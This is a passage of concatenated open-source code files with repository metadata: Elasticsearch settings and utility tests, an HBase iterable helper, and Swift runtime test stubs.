assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(TimeValue.timeValueSeconds(43)));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(Settings.builder().putNull((randomBoolean() ? "cluster.routing.*" : "*")))
.get();
assertThat(INITIAL_RECOVERIES.get(response.getTransientSettings()), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(REROUTE_INTERVAL.get(response.getTransientSettings()), equalTo(REROUTE_INTERVAL.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(REROUTE_INTERVAL.get(Settings.EMPTY)));
}
public void testResetClusterPersistentSetting() {
final Setting<Integer> INITIAL_RECOVERIES = CLUSTER_ROUTING_ALLOCATION_NODE_INITIAL_PRIMARIES_RECOVERIES_SETTING;
final Setting<TimeValue> REROUTE_INTERVAL = CLUSTER_ROUTING_ALLOCATION_REROUTE_INTERVAL_SETTING;
ClusterUpdateSettingsResponse response = client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 9).build())
.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(response.getPersistentSettings()), equalTo(9));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(9));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().putNull(INITIAL_RECOVERIES.getKey()))
.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(response.getPersistentSettings()), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 10).put(REROUTE_INTERVAL.getKey(), "44s").build())
.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(response.getPersistentSettings()), equalTo(10));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(10));
assertThat(REROUTE_INTERVAL.get(response.getPersistentSettings()), equalTo(TimeValue.timeValueSeconds(44)));
assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(TimeValue.timeValueSeconds(44)));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().putNull((randomBoolean() ? "cluster.routing.*" : "*")))
.get();
assertThat(INITIAL_RECOVERIES.get(response.getPersistentSettings()), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(REROUTE_INTERVAL.get(response.getPersistentSettings()), equalTo(REROUTE_INTERVAL.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(REROUTE_INTERVAL.get(Settings.EMPTY)));
}
public void testClusterSettingsUpdateResponse() {
String key1 = RecoverySettings.INDICES_RECOVERY_MAX_BYTES_PER_SEC_SETTING.getKey();
int value1 = 10;
String key2 = EnableAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ENABLE_SETTING.getKey();
String value2 = EnableAllocationDecider.Allocation.NONE.name();
Settings transientSettings1 = Settings.builder().put(key1, value1, ByteSizeUnit.BYTES).build();
Settings persistentSettings1 = Settings.builder().put(key2, value2).build();
ClusterUpdateSettingsResponse response1 = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(transientSettings1)
.setPersistentSettings(persistentSettings1)
.execute()
.actionGet();
assertAcked(response1);
assertThat(response1.getTransientSettings().get(key1), notNullValue());
assertThat(response1.getTransientSettings().get(key2), nullValue());
assertThat(response1.getPersistentSettings().get(key1), nullValue());
assertThat(response1.getPersistentSettings().get(key2), notNullValue());
Settings transientSettings2 = Settings.builder().put(key1, value1, ByteSizeUnit.BYTES).put(key2, value2).build();
Settings persistentSettings2 = Settings.EMPTY;
ClusterUpdateSettingsResponse response2 = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(transientSettings2)
.setPersistentSettings(persistentSettings2)
.execute()
.actionGet();
assertAcked(response2);
assertThat(response2.getTransientSettings().get(key1), notNullValue());
assertThat(response2.getTransientSettings().get(key2), notNullValue());
assertThat(response2.getPersistentSettings().get(key1), nullValue());
assertThat(response2.getPersistentSettings().get(key2), nullValue());
Settings transientSettings3 = Settings.EMPTY;
Settings persistentSettings3 = Settings.builder().put(key1, value1, ByteSizeUnit.BYTES).put(key2, value2).build();
ClusterUpdateSettingsResponse response3 = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(transientSettings3)
.setPersistentSettings(persistentSettings3)
.execute()
.actionGet();
assertAcked(response3);
assertThat(response3.getTransientSettings().get(key1), nullValue());
assertThat(response3.getTransientSettings().get(key2), nullValue());
assertThat(response3.getPersistentSettings().get(key1), notNullValue());
assertThat(response3.getPersistentSettings().get(key2), notNullValue());
}
public void testCanUpdateTransientTracerSettings() {
testCanUpdateTracerSettings(
(settings, builder) -> builder.setTransientSettings(settings),
ClusterUpdateSettingsResponse::getTransientSettings
);
}
public void testCanUpdatePersistentTracerSettings() {
testCanUpdateTracerSettings(
(settings, builder) -> builder.setPersistentSettings(settings),
ClusterUpdateSettingsResponse::getPersistentSettings
);
}
private void testCanUpdateTracerSettings(
final BiConsumer<Settings.Builder, ClusterUpdateSettingsRequestBuilder> consumer,
final Function<ClusterUpdateSettingsResponse, Settings> settingsFunction
) {
ClusterUpdateSettingsRequestBuilder builder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(
Settings.builder().putList("transport.tracer.include", "internal:index/shard/recovery/*", "internal:gateway/local*"),
builder
);
ClusterUpdateSettingsResponse clusterUpdateSettingsResponse = builder.get();
assertEquals(
settingsFunction.apply(clusterUpdateSettingsResponse).getAsList("transport.tracer.include"),
Arrays.asList("internal:index/shard/recovery/*", "internal:gateway/local*")
);
}
public void testUpdateTransientSettings() {
testUpdateSettings(
(settings, builder) -> builder.setTransientSettings(settings),
ClusterUpdateSettingsResponse::getTransientSettings
);
}
public void testUpdatePersistentSettings() {
testUpdateSettings(
(settings, builder) -> builder.setPersistentSettings(settings),
ClusterUpdateSettingsResponse::getPersistentSettings
);
}
private void testUpdateSettings(
final BiConsumer<Settings.Builder, ClusterUpdateSettingsRequestBuilder> consumer,
final Function<ClusterUpdateSettingsResponse, Settings> settingsFunction
) {
final Setting<Integer> INITIAL_RECOVERIES = CLUSTER_ROUTING_ALLOCATION_NODE_INITIAL_PRIMARIES_RECOVERIES_SETTING;
ClusterUpdateSettingsRequestBuilder initialBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 42), initialBuilder);
ClusterUpdateSettingsResponse response = initialBuilder.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(settingsFunction.apply(response)), equalTo(42));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(42));
try {
ClusterUpdateSettingsRequestBuilder badBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put(INITIAL_RECOVERIES.getKey(), "whatever"), badBuilder);
badBuilder.get();
fail("bogus value");
} catch (IllegalArgumentException ex) {
assertEquals(ex.getMessage(), "Failed to parse value [whatever] for setting [" + INITIAL_RECOVERIES.getKey() + "]");
}
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(42));
try {
ClusterUpdateSettingsRequestBuilder badBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put(INITIAL_RECOVERIES.getKey(), -1), badBuilder);
badBuilder.get();
fail("bogus value");
} catch (IllegalArgumentException ex) {
assertEquals(ex.getMessage(), "Failed to parse value [-1] for setting [" + INITIAL_RECOVERIES.getKey() + "] must be >= 0");
}
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(42));
}
public void testRemoveArchiveSettingsWithBlocks() throws Exception {
testRemoveArchiveSettingsWithBlocks(true, false);
testRemoveArchiveSettingsWithBlocks(false, true);
testRemoveArchiveSettingsWithBlocks(true, true);
}
private void testRemoveArchiveSettingsWithBlocks(boolean readOnly, boolean readOnlyAllowDelete) throws Exception {
Settings.Builder settingsBuilder = Settings.builder();
if (readOnly) {
settingsBuilder.put(Metadata.SETTING_READ_ONLY_SETTING.getKey(), "true");
}
if (readOnlyAllowDelete) {
settingsBuilder.put(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.getKey(), "true");
}
assertAcked(
client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(settingsBuilder)
.setTransientSettings(settingsBuilder)
.get()
);
ClusterState state = client().admin().cluster().prepareState().get().getState();
if (readOnly) {
assertTrue(Metadata.SETTING_READ_ONLY_SETTING.get(state.getMetadata().transientSettings()));
assertTrue(Metadata.SETTING_READ_ONLY_SETTING.get(state.getMetadata().persistentSettings()));
}
if (readOnlyAllowDelete) {
assertTrue(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.get(state.getMetadata().transientSettings()));
assertTrue(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.get(state.getMetadata().persistentSettings()));
}
// create archived setting
final Metadata metadata = state.getMetadata();
final Metadata brokenMeta = Metadata.builder(metadata)
.persistentSettings(Settings.builder().put(metadata.persistentSettings()).put("this.is.unknown", true).build())
.build();
restartNodesOnBrokenClusterState(ClusterState.builder(state).metadata(brokenMeta));
ensureGreen(); // wait for state recovery
state = client().admin().cluster().prepareState().get().getState();
assertTrue(state.getMetadata().persistentSettings().getAsBoolean("archived.this.is.unknown", false));
// cannot remove read only block due to archived settings
final IllegalArgumentException e1 = expectThrows(IllegalArgumentException.class, () -> {
Settings.Builder builder = Settings.builder();
clearOrSetFalse(builder, readOnly, Metadata.SETTING_READ_ONLY_SETTING);
clearOrSetFalse(builder, readOnlyAllowDelete, Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING);
assertAcked(
client().admin().cluster().prepareUpdateSettings().setPersistentSettings(builder).setTransientSettings(builder).get()
);
});
assertTrue(e1.getMessage().contains("unknown setting [archived.this.is.unknown]"));
// fail to clear archived settings with non-archived settings
final ClusterBlockException e2 = expectThrows(
ClusterBlockException.class,
() -> assertAcked(
client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().putNull("cluster.routing.allocation.enable"))
.setTransientSettings(Settings.builder().putNull("archived.*"))
.get()
)
);
if (readOnly) {
assertTrue(e2.getMessage().contains("cluster read-only (api)"));
}
if (readOnlyAllowDelete) {
assertTrue(e2.getMessage().contains("cluster read-only / allow delete (api)"));
}
// fail to clear archived settings due to cluster read only block
final ClusterBlockException e3 = expectThrows(
ClusterBlockException.class,
() -> assertAcked(
client().admin().cluster().prepareUpdateSettings().setPersistentSettings(Settings.builder().putNull("archived.*")).get()
)
);
if (readOnly) {
assertTrue(e3.getMessage().contains("cluster read-only (api)"));
}
if (readOnlyAllowDelete) {
assertTrue(e3.getMessage().contains("cluster read-only / allow delete (api)"));
}
// fail to clear archived settings with adding cluster block
final ClusterBlockException e4 = expectThrows(ClusterBlockException.class, () -> {
Settings.Builder builder = Settings.builder().putNull("archived.*");
if (randomBoolean()) {
builder.put(Metadata.SETTING_READ_ONLY_SETTING.getKey(), "true");
builder.put(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.getKey(), "true");
} else if (randomBoolean()) {
builder.put(Metadata.SETTING_READ_ONLY_SETTING.getKey(), "true");
} else {
builder.put(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.getKey(), "true");
}
assertAcked(client().admin().cluster().prepareUpdateSettings().setPersistentSettings(builder).get());
});
if (readOnly) {
assertTrue(e4.getMessage().contains("cluster read-only (api)"));
}
if (readOnlyAllowDelete) {
assertTrue(e4.getMessage().contains("cluster read-only / allow delete (api)"));
}
// fail to set archived settings to non-null value even with clearing blocks together
final ClusterBlockException e5 = expectThrows(ClusterBlockException.class, () -> {
Settings.Builder builder = Settings.builder().put("archived.this.is.unknown", "false");
clearOrSetFalse(builder, readOnly, Metadata.SETTING_READ_ONLY_SETTING);
clearOrSetFalse(builder, readOnlyAllowDelete, Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING);
assertAcked(client().admin().cluster().prepareUpdateSettings().setPersistentSettings(builder).get());
});
if (readOnly) {
assertTrue(e5.getMessage().contains("cluster read-only (api)"));
}
if (readOnlyAllowDelete) {
assertTrue(e5.getMessage().contains("cluster read-only / allow delete (api)"));
}
// we can clear read-only block with archived settings together
Settings.Builder builder = Settings.builder().putNull("archived.*");
clearOrSetFalse(builder, readOnly, Metadata.SETTING_READ_ONLY_SETTING);
clearOrSetFalse(builder, readOnlyAllowDelete, Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING);
assertAcked(client().admin().cluster().prepareUpdateSettings().setPersistentSettings(builder).setTransientSettings(builder).get());
state = client().admin().cluster().prepareState().get().getState();
assertFalse(Metadata.SETTING_READ_ONLY_SETTING.get(state.getMetadata().transientSettings()));
assertFalse(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.get(state.getMetadata().transientSettings()));
assertFalse(Metadata.SETTING_READ_ONLY_SETTING.get(state.getMetadata().persistentSettings()));
assertFalse(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.get(state.getMetadata().persistentSettings()));
assertNull(state.getMetadata().persistentSettings().get("archived.this.is.unknown"));
}
private static void clearOrSetFalse(Settings.Builder settings, boolean applySetting, Setting<Boolean> setting) {
if (applySetting) {
if (randomBoolean()) {
settings.put(setting.getKey(), "false");
} else {
settings.putNull(setting.getKey());
}
}
}
public void testClusterUpdateSettingsWithBlocks() {
String key1 = "cluster.routing.allocation.enable";
Settings transientSettings = Settings.builder().put(key1, EnableAllocationDecider.Allocation.NONE.name()).build();
String key2 = "cluster.routing.allocation.node_concurrent_recoveries";
Settings persistentSettings = Settings.builder().put(key2, "5").build();
ClusterUpdateSettingsRequestBuilder request = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(transientSettings)
.setPersistentSettings(persistentSettings);
// Cluster settings updates are blocked when the cluster is read only
try {
setClusterReadOnly(true);
assertBlocked(request, Metadata.CLUSTER_READ_ONLY_BLOCK);
// But it's possible to update the settings to update the "cluster.blocks.read_only" setting
Settings settings = Settings.builder().putNull(Metadata.SETTING_READ_ONLY_SETTING.getKey()).build();
assertAcked(client().admin().cluster().prepareUpdateSettings().setTransientSettings(settings).get());
} finally {
setClusterReadOnly(false);
}
// Cluster settings updates are blocked when the cluster is read only
try {
// But it's possible to update the settings to update the "cluster.blocks.read_only" setting
Settings settings = Settings.builder().put(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.getKey(), true).build();
assertAcked(client().admin().cluster().prepareUpdateSettings().setTransientSettings(settings).get());
assertBlocked(request, Metadata.CLUSTER_READ_ONLY_ALLOW_DELETE_BLOCK);
} finally {
// But it's possible to update the settings to update the "cluster.blocks.read_only" setting
Settings s = Settings.builder().putNull(Metadata.SETTING_READ_ONLY_ALLOW_DELETE_SETTING.getKey()).build();
assertAcked(client().admin().cluster().prepareUpdateSettings().setTransientSettings(s).get());
}
// It should work now
ClusterUpdateSettingsResponse response = request.execute().actionGet();
assertAcked(response);
assertThat(response.getTransientSettings().get(key1), notNullValue());
assertThat(response.getTransientSettings().get(key2), nullValue());
assertThat(response.getPersistentSettings().get(key1), nullValue());
assertThat(response.getPersistentSettings().get(key2), notNullValue());
}
public void testMissingUnits() {
assertAcked(prepareCreate("test"));
try {
client().admin()
.indices()
.prepareUpdateSettings("test")
.setSettings(Settings.builder().put("index.refresh_interval", "10"))
.execute()
.actionGet();
fail("Expected IllegalArgumentException");
} catch (IllegalArgumentException e) {
assertThat(e.getMessage(), containsString("[index.refresh_interval] with value [10]"));
assertThat(e.getMessage(), containsString("unit is missing or unrecognized"));
}
}
public void testLoggerLevelUpdateWithPersistentSettings() {
testLoggerLevelUpdate((settings, builder) -> builder.setPersistentSettings(settings));
}
public void testLoggerLevelUpdateWithTransientSettings() {
testLoggerLevelUpdate((settings, builder) -> builder.setTransientSettings(settings));
}
private void testLoggerLevelUpdate(final BiConsumer<Settings.Builder, ClusterUpdateSettingsRequestBuilder> consumer) {
assertAcked(prepareCreate("test"));
final Level level = LogManager.getRootLogger().getLevel();
ClusterUpdateSettingsRequestBuilder throwBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put("logger._root", "BOOM"), throwBuilder);
final IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> throwBuilder.execute().actionGet());
assertEquals("Unknown level constant [BOOM].", e.getMessage());
try {
final Settings.Builder testSettings = Settings.builder().put("logger.test", "TRACE").put("logger._root", "trace");
ClusterUpdateSettingsRequestBuilder updateBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(testSettings, updateBuilder);
updateBuilder.execute().actionGet();
assertEquals(Level.TRACE, LogManager.getLogger("test").getLevel());
assertEquals(Level.TRACE, LogManager.getRootLogger().getLevel());
} finally {
ClusterUpdateSettingsRequestBuilder undoBuilder = client().admin().cluster().prepareUpdateSettings();
if (randomBoolean()) {
final Settings.Builder defaultSettings = Settings.builder().putNull("logger.test").putNull("logger._root");
consumer.accept(defaultSettings, undoBuilder);
undoBuilder.execute().actionGet();
} else {
final Settings.Builder defaultSettings = Settings.builder().putNull("logger.*");
consumer.accept(defaultSettings, undoBuilder);
undoBuilder.execute().actionGet();
}
assertEquals(level, LogManager.getLogger("test").getLevel());
assertEquals(level, LogManager.getRootLogger().getLevel());
}
}
public void testUserMetadata() {
String key = "cluster.metadata." + randomAlphaOfLengthBetween(5, 20);
String value = randomRealisticUnicodeOfCodepointLengthBetween(5, 50);
String updatedValue = randomRealisticUnicodeOfCodepointLengthBetween(5, 50);
logger.info("Attempting to store [{}]: [{}], then update to [{}]", key, value, updatedValue);
final Settings settings = Settings.builder().put(key, value).build();
final Settings updatedSettings = Settings.builder().put(key, updatedValue).build();
boolean persistent = randomBoolean();
BiConsumer<Settings, ClusterUpdateSettingsRequestBuilder> consumer = (persistent)
? (s, b) -> b.setPersistentSettings(s)
: (s, b) -> b.setTransientSettings(s);
Function<Metadata, Settings> getter = (persistent) ? Metadata::persistentSettings : Metadata::transientSettings;
logger.info("Using " + ((persistent) ? "persistent" : "transient") + " settings");
ClusterUpdateSettingsRequestBuilder builder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(settings, builder);
builder.execute().actionGet();
ClusterStateResponse state = client().admin().cluster().prepareState().execute().actionGet();
assertEquals(value, getter.apply(state.getState().getMetadata()).get(key));
ClusterUpdateSettingsRequestBuilder updateBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(updatedSettings, updateBuilder);
updateBuilder.execute().actionGet();
ClusterStateResponse updatedState = client().admin().cluster().prepareState().execute().actionGet();
assertEquals(updatedValue, getter.apply(updatedState.getState().getMetadata()).get(key));
}
}
| apache-2.0 |
jmluy/elasticsearch | libs/core/src/test/java/org/elasticsearch/common/util/ESSloppyMathTests.java | 1736 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.util;
import org.elasticsearch.test.ESTestCase;
import static org.elasticsearch.core.ESSloppyMath.atan;
import static org.elasticsearch.core.ESSloppyMath.sinh;
public class ESSloppyMathTests extends ESTestCase {
// accuracy for atan(x)
static double ATAN_DELTA = 1E-15;
// accuracy for sinh(x)
static double SINH_DELTA = 1E-15; // for small x
public void testAtan() {
assertTrue(Double.isNaN(atan(Double.NaN)));
assertEquals(-Math.PI / 2, atan(Double.NEGATIVE_INFINITY), ATAN_DELTA);
assertEquals(Math.PI / 2, atan(Double.POSITIVE_INFINITY), ATAN_DELTA);
for (int i = 0; i < 10000; i++) {
assertEquals(StrictMath.atan(i), atan(i), ATAN_DELTA);
assertEquals(StrictMath.atan(-i), atan(-i), ATAN_DELTA);
}
}
public void testSinh() {
assertTrue(Double.isNaN(sinh(Double.NaN)));
assertEquals(Double.NEGATIVE_INFINITY, sinh(Double.NEGATIVE_INFINITY), SINH_DELTA);
assertEquals(Double.POSITIVE_INFINITY, sinh(Double.POSITIVE_INFINITY), SINH_DELTA);
for (int i = 0; i < 10000; i++) {
double d = randomDoubleBetween(-2 * Math.PI, 2 * Math.PI, true);
if (random().nextBoolean()) {
d = -d;
}
assertEquals(StrictMath.sinh(d), sinh(d), SINH_DELTA);
}
}
}
| apache-2.0 |
lshmouse/hbase | hbase-common/src/main/java/org/apache/hadoop/hbase/util/IterableUtils.java | 1411 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hbase.util;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.hadoop.hbase.classification.InterfaceAudience;
/**
* Utility methods for Iterable including null-safe handlers.
*/
@InterfaceAudience.Private
public class IterableUtils {
private static final List<Object> EMPTY_LIST = Collections
.unmodifiableList(new ArrayList<Object>(0));
@SuppressWarnings("unchecked")
public static <T> Iterable<T> nullSafe(Iterable<T> in) {
if (in == null) {
return (List<T>) EMPTY_LIST;
}
return in;
}
}
| apache-2.0 |
jmluy/elasticsearch | server/src/test/java/org/elasticsearch/action/admin/cluster/repositories/put/PutRepositoryRequestTests.java | 2612 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.action.admin.cluster.repositories.put;
import org.elasticsearch.common.bytes.BytesReference;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.xcontent.XContentHelper;
import org.elasticsearch.repositories.fs.FsRepository;
import org.elasticsearch.test.ESTestCase;
import org.elasticsearch.xcontent.ToXContent;
import org.elasticsearch.xcontent.XContentBuilder;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import static org.elasticsearch.xcontent.XContentFactory.jsonBuilder;
import static org.hamcrest.Matchers.equalTo;
public class PutRepositoryRequestTests extends ESTestCase {
@SuppressWarnings("unchecked")
public void testCreateRepositoryToXContent() throws IOException {
Map<String, String> mapParams = new HashMap<>();
PutRepositoryRequest request = new PutRepositoryRequest();
String repoName = "test";
request.name(repoName);
mapParams.put("name", repoName);
Boolean verify = randomBoolean();
request.verify(verify);
mapParams.put("verify", verify.toString());
String type = FsRepository.TYPE;
request.type(type);
mapParams.put("type", type);
Boolean addSettings = randomBoolean();
if (addSettings) {
request.settings(Settings.builder().put(FsRepository.LOCATION_SETTING.getKey(), ".").build());
}
XContentBuilder builder = jsonBuilder();
request.toXContent(builder, new ToXContent.MapParams(mapParams));
builder.flush();
Map<String, Object> outputMap = XContentHelper.convertToMap(BytesReference.bytes(builder), false, builder.contentType()).v2();
assertThat(outputMap.get("name"), equalTo(request.name()));
assertThat(outputMap.get("verify"), equalTo(request.verify()));
assertThat(outputMap.get("type"), equalTo(request.type()));
Map<String, Object> settings = (Map<String, Object>) outputMap.get("settings");
if (addSettings) {
assertThat(settings.get(FsRepository.LOCATION_SETTING.getKey()), equalTo("."));
} else {
assertTrue(((Map<String, Object>) outputMap.get("settings")).isEmpty());
}
}
}
| apache-2.0 |
glessard/swift | unittests/runtime/Stdlib.cpp | 13031 | //===----------------------------------------------------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
#include "swift/Runtime/Metadata.h"
#include "swift/Demangling/ManglingMacros.h"
using namespace swift;
// Placeholders for Swift functions that the C++ runtime references
// but that the test code does not link to.
// AnyHashable
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _swift_makeAnyHashableUsingDefaultRepresentation(
const OpaqueValue *value,
const void *anyHashableResultPointer,
const Metadata *T,
const WitnessTable *hashableWT
) {
abort();
}
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss11AnyHashableVMn[1] = {0};
// SwiftHashableSupport
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool _swift_stdlib_Hashable_isEqual_indirect(
const void *lhsValue, const void *rhsValue, const Metadata *type,
const void *wt) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
intptr_t _swift_stdlib_Hashable_hashValue_indirect(
const void *value, const Metadata *type, const void *wt) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _swift_convertToAnyHashableIndirect(
OpaqueValue *source, OpaqueValue *destination, const Metadata *sourceType,
const void *sourceConformance) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool _swift_anyHashableDownCastConditionalIndirect(
OpaqueValue *source, OpaqueValue *destination, const Metadata *targetType) {
abort();
}
// Casting
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _swift_arrayDownCastIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceValueType,
const Metadata *targetValueType) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool _swift_arrayDownCastConditionalIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceValueType,
const Metadata *targetValueType) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _swift_setDownCastIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceValueType,
const Metadata *targetValueType,
const void *sourceValueHashable,
const void *targetValueHashable) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool _swift_setDownCastConditionalIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceValueType,
const Metadata *targetValueType,
const void *sourceValueHashable,
const void *targetValueHashable) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _swift_dictionaryDownCastIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceKeyType,
const Metadata *sourceValueType,
const Metadata *targetKeyType,
const Metadata *targetValueType,
const void *sourceKeyHashable,
const void *targetKeyHashable) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool _swift_dictionaryDownCastConditionalIndirect(OpaqueValue *destination,
OpaqueValue *source,
const Metadata *sourceKeyType,
const Metadata *sourceValueType,
const Metadata *targetKeyType,
const Metadata *targetValueType,
const void *sourceKeyHashable,
const void *targetKeyHashable) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _bridgeNonVerbatimBoxedValue(const OpaqueValue *sourceValue,
OpaqueValue *destValue,
const Metadata *nativeType) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void _bridgeNonVerbatimFromObjectiveCToAny(HeapObject *sourceValue,
OpaqueValue *destValue) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool swift_unboxFromSwiftValueWithType(OpaqueValue *source,
OpaqueValue *result,
const Metadata *destinationType) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
bool swift_swiftValueConformsTo(const Metadata *destinationType) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_API
HeapObject *$ss27_bridgeAnythingToObjectiveCyyXlxlF(OpaqueValue *src, const Metadata *srcType) {
abort();
}
// ErrorObject
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
int $ss13_getErrorCodeySiSPyxGs0B0RzlF(void *) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void *$ss23_getErrorDomainNSStringyyXlSPyxGs0B0RzlF(void *) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void *$ss29_getErrorUserInfoNSDictionaryyyXlSgSPyxGs0B0RzlF(void *) {
abort();
}
SWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERNAL
void *$ss32_getErrorEmbeddedNSErrorIndirectyyXlSgSPyxGs0B0RzlF(void *) {
abort();
}
// Hashable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $SkMp[1] = {0};
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSHMp[1] = {0};
// Array
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSaMn[1] = {0};
// Dictionary
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ssSdVMn[1] = {0};
